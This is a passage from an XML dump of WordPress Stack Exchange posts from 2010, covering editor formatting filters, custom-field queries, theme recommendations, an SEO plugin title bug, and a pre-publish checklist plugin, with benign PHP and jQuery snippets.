(earlier versions were from before standalone Core release). Includes considerable amount of ready-made templates with more available for download separately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has multiple &lt;a href=&quot;http://themehybrid.com/themes&quot; rel=&quot;nofollow&quot;&gt;child themes&lt;/a&gt; available (both native and from other developers).&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;a href=&quot;http://themehybrid.com/themes/prototype&quot; rel=&quot;nofollow&quot;&gt;Prototype parent theme&lt;/a&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Latest cutting edge release to show practical usage of Hybrid Core.&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-03-05T11:55:25.537" LastActivityDate="2011-03-05T11:55:25.537" CommentCount="1" />
  <row Id="3731" PostTypeId="2" ParentId="3729" CreationDate="2010-11-06T22:50:34.740" Score="1" ViewCount="" Body="&lt;p&gt;Custom CSS is available as &lt;a href=&quot;http://en.support.wordpress.com/custom-css/&quot; rel=&quot;nofollow&quot;&gt;a premium upgrade on WordPress.com&lt;/a&gt;, so style information is probably filtered out of posts you create with other tools.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-11-06T22:50:34.740" CommentCount="3" />
  <row Id="3732" PostTypeId="1" AcceptedAnswerId="3733" CreationDate="2010-11-07T01:01:47.073" Score="1" ViewCount="180" Body="&lt;p&gt;WordPress may have a text editor that appears to be WYSIWYG, but upon using it I discovered that it is actually WYSIWYMG- What You See Is What You &lt;em&gt;Might&lt;/em&gt; Get (once it's done screwing with the HTML). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Isn't there a way to tell it to &lt;strong&gt;do nothing&lt;/strong&gt; with the text you put into it? Just leave it as it is. No optimizations, no trying to guess what I meant, no correcting my HTML, no converting whitespace into nbsp's that for some reason cause line breaks, no changing the formatting or the spacing between embedded objects after you edit it to fix one typo... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did try searching the settings area but found only one HTML related option (regarding matching closing tags). &lt;/p&gt;&#xA;" OwnerUserId="1494" LastActivityDate="2010-11-07T05:49:56.447" Title="Why is WordPress WYSIWYMG and how do I make it WYSIWYG?" Tags="&lt;editor&gt;&lt;html&gt;&lt;formatting&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="3733" PostTypeId="2" ParentId="3732" CreationDate="2010-11-07T01:28:34.293" Score="4" ViewCount="" Body="&lt;p&gt;After you post your content, WordPress will pass &lt;strong&gt;the_content()&lt;/strong&gt; function through a number of filtering function's. There are four of them, wptexturize(), convert_smilies(), convert_chars(), and wpautop(). All of these are defined in wp-includes/formatting.php and are referenced in wp-includes/default-filters.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To remove these filtering functions you can disable them by putting this in your functions.php theme file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;remove_filter('the_content', 'wpautop');&#xA;remove_filter('the_content', 'wptexturize');&#xA;remove_filter('the_content', 'convert_smilies');&#xA;remove_filter('the_content', 'convert_chars');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That should remove all formatting between what you save in TinyMCE (the WYSIWYG editor) and the front end view of your website. For more reference on what each of these does refer to the codex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps, best of luck!&lt;/p&gt;&#xA;" OwnerUserId="1495" LastActivityDate="2010-11-07T01:28:34.293" CommentCount="5" />
  <row Id="3734" PostTypeId="1" AcceptedAnswerId="3742" CreationDate="2010-11-07T03:34:09.393" Score="-2" ViewCount="158" Body="&lt;p&gt;I would like to use customize wordpress as advanced web-site to make it as a social-networking site beyond normal blog or buddypress powered website .  I know there are some other plugins rather than buddypress and p2 theme to turn simple wordpress to a well customized collaboration network .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I wonder if any body use them beyond blogging or simple buddypress site .Does wordpress perfectly suite to make website like a perfect social networking site rather than choosing non-wordpress solutions ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks !&lt;/p&gt;&#xA;" OwnerUserId="391" LastEditorUserId="391" LastEditorDisplayName="" LastEditDate="2010-11-08T19:06:05.547" LastActivityDate="2010-11-08T19:06:05.547" ClosedDate="2010-11-08T21:38:15.950" Title="Why the people prefer alternatives to Wordpress?" Tags="&lt;multisite&gt;&lt;features&gt;&lt;wordpress.org&gt;" AnswerCount="2" CommentCount="5" />
  <row Id="3735" PostTypeId="2" ParentId="3732" CreationDate="2010-11-07T05:43:19.387" Score="0" ViewCount="" Body="&lt;p&gt;for adding php some php plugins exist...and additional plugins that make the plugins work via e.g. WYSIWYG posting via the XMLRPC interface... and if you really get desperate in a wp mu environment, you can always put your content in by reading a database record, replacing the content and rewriting the record to the external database... (e.g. if in the revision structure someone with more rights initially created the record (see comments on &lt;a href=&quot;http://bluesome.net/post/2005/08/18/50/&quot; rel=&quot;nofollow&quot;&gt;http://bluesome.net/post/2005/08/18/50/&lt;/a&gt;))&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also this question: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3469/line-breaks-not-showing-up-properly/3475#3475&quot;&gt;Line breaks not showing up properly&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="576" LastEditorUserId="576" LastEditorDisplayName="" LastEditDate="2010-11-07T05:49:56.447" LastActivityDate="2010-11-07T05:49:56.447" />
  <row Id="3736" PostTypeId="2" ParentId="3725" CreationDate="2010-11-07T06:08:16.667" Score="3" ViewCount="" Body="&lt;h1&gt;&lt;a href=&quot;http://swiftthemes.com/category/wordpress-themes/free-themes/swift/&quot; rel=&quot;nofollow&quot;&gt;SWIFT&lt;/a&gt;&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;On my private blog i use : &lt;a href=&quot;http://swiftthemes.com/&quot; rel=&quot;nofollow&quot;&gt;http://swiftthemes.com/&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;purpose&lt;/strong&gt;: standalone theme but child themes are supported with demo childtheme Kill Bill theme included&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;strong features&lt;/strong&gt;: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;out of the box it includes a real handy template adjustable in the end user menu system&lt;/li&gt;&#xA;&lt;li&gt;nice friendly creater and user community&lt;/li&gt;&#xA;&lt;li&gt;its easy to understand and easy hackable which a lot of people do&lt;/li&gt;&#xA;&lt;li&gt;it's &quot;different&quot; than the rest in terms of setup and &quot;commercial approach&quot; thats why i like it&lt;/li&gt;&#xA;&lt;li&gt;lots of updates&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;not so strong&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;there is probably still a lot to develop in it to align with all wp standards (but actually that is the nice thing)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;pricing&lt;/strong&gt;: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Personal License &lt;strong&gt;$47&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Developer License &lt;strong&gt;$84&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="576" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-05-22T23:36:50.493" LastActivityDate="2011-05-22T23:36:50.493" CommentCount="4" />
  <row Id="3737" PostTypeId="1" AcceptedAnswerId="3758" CreationDate="2010-11-07T12:30:25.660" Score="1" ViewCount="546" Body="&lt;p&gt;Trying to use meta_compare &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts#Custom_Field_Parameters&quot; rel=&quot;nofollow&quot;&gt;as suggested in the codex&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts('meta_key=miles&amp;amp;meta_compare=&amp;lt;=&amp;amp;meta_value=22');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wp_query;&#xA;query_posts(&#xA;array_merge(&#xA;    array(&#xA;        'category__and' =&amp;gt; $mycatsarray,&#xA;        'meta_key' =&amp;gt; 'price',&#xA;        'meta_compare' =&amp;gt; '&amp;gt;=',&#xA;        'meta_value' =&amp;gt; 8500000,&#xA;        'orderby' =&amp;gt; meta_value_num,&#xA;        'order'=&amp;gt;DESC&#xA;    ),&#xA;    $wp_query-&amp;gt;query&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;);&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using array_merge to persist the original query. So I couldn't quite figure out how to use the suggested syntax ('&amp;amp;name=value') for meta_compare and meta_value. Anyways, in my code the meta_value seems to be treated like a string and not an integer as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example of some typical price custom fields from my custom posts:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;8500000&lt;/li&gt;&#xA;&lt;li&gt;600&lt;/li&gt;&#xA;&lt;li&gt;15000&lt;/li&gt;&#xA;&lt;li&gt;900&lt;/li&gt;&#xA;&lt;li&gt;750&lt;/li&gt;&#xA;&lt;li&gt;9000000&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If it's not a string issue, it could be that WordPress is ordering (DESC) these custom fields as follows:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;9000000&lt;/li&gt;&#xA;&lt;li&gt;900&lt;/li&gt;&#xA;&lt;li&gt;8500000&lt;/li&gt;&#xA;&lt;li&gt;750&lt;/li&gt;&#xA;&lt;li&gt;600&lt;/li&gt;&#xA;&lt;li&gt;15000&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I would like them to be ordered (DESC) as follows:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;9000000&lt;/li&gt;&#xA;&lt;li&gt;8500000&lt;/li&gt;&#xA;&lt;li&gt;15000&lt;/li&gt;&#xA;&lt;li&gt;900&lt;/li&gt;&#xA;&lt;li&gt;750&lt;/li&gt;&#xA;&lt;li&gt;600&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Am I doing something wrong here?&lt;/p&gt;&#xA;" OwnerUserId="1341" LastEditorUserId="1341" LastEditorDisplayName="" LastEditDate="2010-11-07T16:29:43.173" LastActivityDate="2010-11-08T08:04:21.180" Title="meta_compare seems to be treating values as strings instead of integers as expected" Tags="&lt;custom-field&gt;&lt;query-posts&gt;&lt;post-meta&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" />
  <row Id="3740" PostTypeId="2" ParentId="3734" CreationDate="2010-11-07T14:55:15.017" Score="-1" ViewCount="" Body="&lt;p&gt;I hear a lot of good things about ExpressionEngine: &lt;a href=&quot;http://expressionengine.com/&quot; rel=&quot;nofollow&quot;&gt;http://expressionengine.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1341" LastActivityDate="2010-11-07T14:55:15.017" CommentCount="2" />
  <row Id="3741" PostTypeId="2" ParentId="3725" CreationDate="2010-11-07T15:20:55.073" Score="4" ViewCount="" Body="&lt;h1&gt;&lt;a href=&quot;http://www.woothemes.com/2010/02/canvas/&quot; rel=&quot;nofollow&quot;&gt;Canvas&lt;/a&gt;&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Purpose&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Advanced standalone/parent theme, uses WooFramework.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For sketching out sites and concepts. Building a version 1 without having to do so from scratch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Strong features&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;I find the theme code very easy to hack for my purposes.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Canvas uses a lot of new HTML and CSS features in a smart way.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Downsides&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Not free (but free software)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Licensing and pricing&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Standard: $70&lt;/li&gt;&#xA;&lt;li&gt;Developer (comes with PSD files): $150&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1341" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-11-10T15:17:42.817" LastActivityDate="2010-11-10T15:17:42.817" />
  <row Id="3742" PostTypeId="2" ParentId="3734" CreationDate="2010-11-07T15:27:37.173" Score="2" ViewCount="" Body="&lt;p&gt;To make this on-topic:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would rephrase it as &quot;why do people and companies&quot; use different software from different providers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And as with larger companies: they often have a policy to stick as much as possible with one provider for most software mainly because it brings down maintenance costs as well as keep knowledge investment managaeable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So a company could have thousands of sofware products in house, all being the best in what they do but then they notice that e.g. they have thousands*versions of that product to maintain, their support people have to learn thousands of products and maintain thousands of products and ofcourse costs (also for licensing) is enormous.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the strategy is to write down the requirements you have for all of it and see how far you can come with the minimum set of sofware providers. So you can focus to maintain a certain set and get really knowledgable about that set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With 'WordPress' (and around WordPress) the same: you can stretch it a long way. You can install buddypress for social networking, use it for microblogging with P2, build a pligg kind of site around it and the advantage is that you get really good on one platform and you have to maintain only one platform. Otherwise for one person having to maintain lots of different software products and know all of it, keep up-to-date with security and patches: not possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you start out by making a list of all your requirements and decide which minimum set of tools you need and you want to invest time in to learn about as well as make the decision to maintain this set.&lt;/p&gt;&#xA;" OwnerUserId="576" LastActivityDate="2010-11-07T15:27:37.173" CommentCount="1" />
  <row Id="3743" PostTypeId="2" ParentId="3671" CreationDate="2010-11-07T15:47:44.650" Score="2" ViewCount="" Body="&lt;p&gt;I would suggest that you flip the question to &lt;strong&gt;What plugin is good for posting code?&lt;/strong&gt;. You can only do so much with PRE and CODE html tags. I post code snippet's on my blog all the time using the &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-syntax/&quot; rel=&quot;nofollow&quot;&gt;WP-Syntax&lt;/a&gt; plugin. Here's a nice working example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.kevinleary.net/multiple-fields-groups-wordpress-custom-field-template-plugin/&quot; rel=&quot;nofollow&quot;&gt;A WordPress Blog Post with PHP, TXT and HTML snippets using the WP-Syntax Plugin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will allows me to identify the code I post as CSS, HTML, JavaScript, PHP, plain text and many more. It will then color code the snippets accordingly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also preserves indents, which I've found very useful for usability/user experience when copy/pasting decent sized code snippets from other sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The syntax is easy, you just switch to the HTML editor in a post, and wrap all of your code in a pre tag. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;pre lang=&quot;php&quot;&amp;gt;&#xA;&amp;lt;?php&#xA;echo &quot;I love cheese!&quot;;&#xA;?&amp;gt;&#xA;&amp;lt;/pre&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Will output a nice color coded PHP snippet. The plugin leverages the &lt;a href=&quot;http://qbnz.com/highlighter/&quot; rel=&quot;nofollow&quot;&gt;GeSHi&lt;/a&gt; syntax highlighting class to do it's dirty work. All of the available languages are outlined on the GeSHi website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="1495" LastActivityDate="2010-11-07T15:47:44.650" />
  <row Id="3744" PostTypeId="2" ParentId="3671" CreationDate="2010-11-07T17:07:13.000" Score="0" ViewCount="" Body="&lt;p&gt;In the end I used the theme called Elegant Grunge from Michael Tyson.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Windows Live Writer 2011 with the Insert Code plugins for it, and it works very well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check out my blog Alphaot.com to see how it ended up.&lt;/p&gt;&#xA;" LastActivityDate="2010-11-07T17:07:13.000" CommentCount="1" />
  <row Id="3745" PostTypeId="1" CreationDate="2010-11-07T18:25:38.957" Score="0" ViewCount="192" Body="&lt;p&gt;using the WordPress core image cropper, but with one particular image it is leaving an different part of the image to the one selected for crop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://southasianlitfest.com/?p=1425&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; is the full image&#xA;and &lt;a href=&quot;http://southasianlitfest.com/page/2/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; is wordpress' go at a crop, I think you can imagine which part of the image we wanted to keep!!&lt;/p&gt;&#xA;" OwnerUserId="784" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-08-31T00:07:11.400" LastActivityDate="2011-08-31T00:07:11.400" Title="Why is the thumbnail crop leaving the wrong portion of the image?" Tags="&lt;images&gt;&lt;post-thumbnails&gt;&lt;cropping&gt;" AnswerCount="0" CommentCount="4" />
  <row Id="3746" PostTypeId="1" AcceptedAnswerId="4038" CreationDate="2010-11-07T23:12:45.803" Score="0" ViewCount="383" Body="&lt;p&gt;I realise this a is a loaded question, but I am genuinely interested in the differences between WordPress and Tumblr. I find Tumblr increasingly attractive, and wonder if there is more to it than just design. Or is design the whole point after all?&lt;/p&gt;&#xA;" OwnerUserId="1341" LastActivityDate="2010-11-14T11:59:37.043" Title="Why do tumblr themes look so much better than WordPress themes?" Tags="&lt;themes&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="3747" PostTypeId="2" ParentId="3746" CreationDate="2010-11-07T23:57:45.030" Score="1" ViewCount="" Body="&lt;p&gt;I am in love with tumblr designs :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We should collaborate on producing some free themes for wordpress with the same awesomeness.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;there are premium themes in wordpress that rock with same spirit and look/feel of tumblr&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so personally i don't see a tech &quot;limitation&quot; in wordpress when it comes to this&lt;/p&gt;&#xA;" OwnerUserId="692" LastActivityDate="2010-11-07T23:57:45.030" CommentCount="2" />
  <row Id="3748" PostTypeId="1" AcceptedAnswerId="3753" CreationDate="2010-11-07T23:59:02.680" Score="2" ViewCount="291" Body="&lt;p&gt;I created a separate template, attachment.php, for displaying image attachments. It's relatively simple; basically a stripped down version of single.php.  Everything is working great &lt;em&gt;except&lt;/em&gt; that when I have the All in One SEO plugin enabled (and set to rewrite titles), the titles on those attachment pages are being doubled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, &lt;a href=&quot;http://encosia.com/attachment/1063/&quot; rel=&quot;nofollow&quot;&gt;this attachment&lt;/a&gt;'s title should be &quot;11 hours of MacBook Air battery life&quot;, but the title tag is being rendered as &quot;11 hours of MacBook Air battery life 11 hours of MacBook Air battery life&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This only happens on the attachment.php pages, not on the rest of the site's normal posts and pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea what could cause that?&lt;/p&gt;&#xA;" OwnerUserId="132" LastActivityDate="2010-12-24T08:23:18.020" Title="Doubled titles when using All in One SEO with custom template" Tags="&lt;theme-development&gt;&lt;attachments&gt;&lt;all-in-one-seo&gt;" AnswerCount="3" />
  <row Id="3749" PostTypeId="1" AcceptedAnswerId="3756" CreationDate="2010-11-08T00:51:37.827" Score="3" ViewCount="240" Body="&lt;p&gt;Does anyone have a suggested plugin that does the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;when a user hits publish on a post for the first time, it should have a popup, notice, or alert that asks the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Do you have a title?&lt;/li&gt;&#xA;&lt;li&gt;Is the article complete?&lt;/li&gt;&#xA;&lt;li&gt;Spell checked?&lt;/li&gt;&#xA;&lt;li&gt;Did you pick tags?&lt;/li&gt;&#xA;&lt;li&gt;Have you selected a category?&lt;/li&gt;&#xA;&lt;li&gt;Choose a featured image?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Any type of that functionality to catch uncompleted fields or merely serve as a warning would be quite awesome.&lt;/p&gt;&#xA;" OwnerUserId="1493" LastActivityDate="2010-11-15T22:46:52.150" Title="WordPress prompt checklist before publish?" Tags="&lt;3.0&gt;&lt;admin&gt;&lt;publish&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="3750" PostTypeId="2" ParentId="261" CreationDate="2010-11-08T01:55:11.577" Score="1" ViewCount="" Body="&lt;p&gt;Since it has not been mentioned:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the XMLRPC interface (which all of these use) easily allows you to create a (local php) site which e.g. updates 1000 pages with content from another database system but is also handy when you reach windows live writer's limit on how many posts it can go back. In other words: sometimes you need your own tool to have a better mass sync-update.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;(it did not say public tool in the question)&lt;/p&gt;&#xA;" OwnerUserId="576" LastActivityDate="2010-11-08T01:55:11.577" CommunityOwnedDate="2010-11-08T01:55:11.577" CommentCount="1" />
  <row Id="3751" PostTypeId="2" ParentId="3749" CreationDate="2010-11-08T02:03:24.767" Score="0" ViewCount="" Body="&lt;p&gt;if you want to store information about the popup event... :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function while_popup() {&#xA;  // code here&#xA;}&#xA;&#xA;function filter_post( $data , $postarr )&#xA;{&#xA;while_popup();&#xA;return ( $data )&#xA;}&#xA;&#xA;add_filter ( 'wp_insert_post_data' , 'filter_post' , 99 );  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in the $postarr you can query the 'post_status' to see what the status is (publish)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since this: &lt;a href=&quot;http://core.trac.wordpress.org/ticket/9084&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/ticket/9084&lt;/a&gt; is now fixed you can query the set the post_status data array to &quot;draft&quot; if the user presses &quot;i do not agree&quot; and to publish if he agrees.&lt;/p&gt;&#xA;" OwnerUserId="576" LastEditorUserId="576" LastEditorDisplayName="" LastEditDate="2010-11-15T22:46:52.150" LastActivityDate="2010-11-15T22:46:52.150" />
  <row Id="3752" PostTypeId="2" ParentId="3748" CreationDate="2010-11-08T02:15:28.640" Score="0" ViewCount="" Body="&lt;p&gt;i think you have solved it i see no double titles&lt;/p&gt;&#xA;" OwnerUserId="576" LastActivityDate="2010-11-08T02:15:28.640" CommentCount="1" />
  <row Id="3753" PostTypeId="2" ParentId="3748" CreationDate="2010-11-08T04:21:31.840" Score="5" ViewCount="" Body="&lt;p&gt;The problem is the way that All in One SEO is set up. It assumes that you always attach your media files to a post or page. Simple way is to attach them to a post or page and it will make your attachment title be &quot;PostName AttachmentName - Blogname&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other way is also easy, but you have to make a change to the plugin. You open up the aioseop.class.php file, and find this chunk of code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;else if (is_attachment()) { &#xA;                            $title = get_the_title($post-&gt;post_parent).' '.$post-&gt;post_title.' – '.get_option('blogname');&#xA;                            $header = $this-&gt;replace_title($header,$title);&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem with this setup is that it grabs the parent whether or not it is a child. If it has no parent, its parent title is its own title, hence the double title. To remedy this, we can add an if statement to check whether or not it has a parent to avoid the double title. So the code would look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;else if (is_attachment()) { &#xA;                            if(get_the_title($post-&gt;post_parent) != $post-&gt;post_title) {&#xA;                                $title = get_the_title($post-&gt;post_parent).' '.$post-&gt;post_title.' – '.get_option('blogname');&#xA;                            } else {&#xA;                                $title = $post-&gt;post_title.' – '.get_option('blogname');&#xA;                            }&#xA;                            $header = $this-&gt;replace_title($header,$title);&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you just upload this to the All in One SEO plugin folder and your problem should be fixed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{R:S}&lt;/p&gt;&#xA;" OwnerUserId="1499" LastEditorUserId="1499" LastEditorDisplayName="" LastEditDate="2010-11-08T04:40:54.693" LastActivityDate="2010-11-08T04:40:54.693" CommentCount="2" />
  <row Id="3754" PostTypeId="2" ParentId="3626" CreationDate="2010-11-08T04:29:01.517" Score="0" ViewCount="" Body="&lt;p&gt;Are you setting up your Wordpress W3 Total Cache with a mirror services or using CDN function. You can refer &lt;a href=&quot;http://bit.ly/crkufP&quot; rel=&quot;nofollow&quot;&gt;http://bit.ly/crkufP&lt;/a&gt; on how to setup W3TC with CDN services with your desired expiry time frame.&lt;/p&gt;&#xA;" LastActivityDate="2010-11-08T04:29:01.517" />
  <row Id="3755" PostTypeId="2" ParentId="2073" CreationDate="2010-11-08T04:35:42.653" Score="3" ViewCount="" Body="&lt;p&gt;If you &lt;a href=&quot;http://codex.wordpress.org/Creating_Admin_Themes&quot; rel=&quot;nofollow&quot;&gt;create an admin theme plugin&lt;/a&gt; from the Codex steps, you will notice it says not to insert stylesheets as per above - although the above will work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you place the following inside your admin theme file, it will serve the same purpose, but uses the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_style#Load_stylesheets_only_on_plugin_pages&quot; rel=&quot;nofollow&quot;&gt;wp_enqueue_styles&lt;/a&gt; approach:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function add_admin_theme_styles() {&#xA;    wp_register_style($handle = 'mytheme-theme-admin-styles', $src = plugins_url('wp-admin.css', __FILE__), $deps = array(), $ver = '1.0.0', $media = 'all');&#xA;    wp_enqueue_style('mytheme-theme-admin-styles');}&#xA;    add_action('admin_print_styles', 'add_admin_theme_styles');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="131" LastEditorUserId="131" LastEditorDisplayName="" LastEditDate="2010-11-10T00:23:03.703" LastActivityDate="2010-11-10T00:23:03.703" />
  <row Id="3756" PostTypeId="2" ParentId="3749" CreationDate="2010-11-08T04:44:59.613" Score="2" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Writing_a_Plugin&quot; rel=&quot;nofollow&quot;&gt;Create new plugin&lt;/a&gt; and add this as your the content:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: [CR]TestDropIn&#xA;Plugin URI: http://bayu.freelancer.web.id/&#xA;Description: A barebone plugin to test whatever wordpress API you want to test&#xA;Author: Arief Bayu Purwanto&#xA;Version: 0.0.1&#xA;Author URI: http://bayu.freelancer.web.id&#xA;*/&#xA;&#xA;&#xA;&#xA;add_action('admin_head', 'xxx_admin_hook');&#xA;&#xA;function xxx_admin_hook(){&#xA;?&amp;gt;&#xA;&amp;lt;script language=&quot;javascript&quot; type=&quot;text/javascript&quot;&amp;gt;&#xA;jQuery(document).ready(function() {&#xA;    jQuery('#post').submit(function() {&#xA;        //alert('Handler for .submit() called.');&#xA;        //return false;&#xA;        var cfm = confirm(&quot;Do you have a title?\n&quot; + &#xA;&quot;Is the article complete?\n&quot; + &#xA;&quot;Spell checked?\n&quot; + &#xA;&quot;Did you pick tags?\n&quot; + &#xA;&quot;Have you selected a category?\n&quot; + &#xA;&quot;Choose a featured image?&quot;, &quot;Check your content&quot;);&#xA;        if(cfm)&#xA;        {&#xA;            return true;&#xA;        }&#xA;    jQuery('#ajax-loading').hide();&#xA;    jQuery('#publish').removeClass('button-primary-disabled');&#xA;&#xA;        return false;&#xA;    });&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&amp;lt;?php&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strike&gt;It has bug as it doesn't cancel the loading icon. Nothing big if you don't really care that, as it doesn't interfere the process nor does it break the wordpress. It just doesn't that good to see.&lt;/strike&gt;&lt;strong&gt;bug fixed!&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Plugin published &lt;a href=&quot;http://bayu.freelancer.web.id/oss/crpost-warning/&quot; 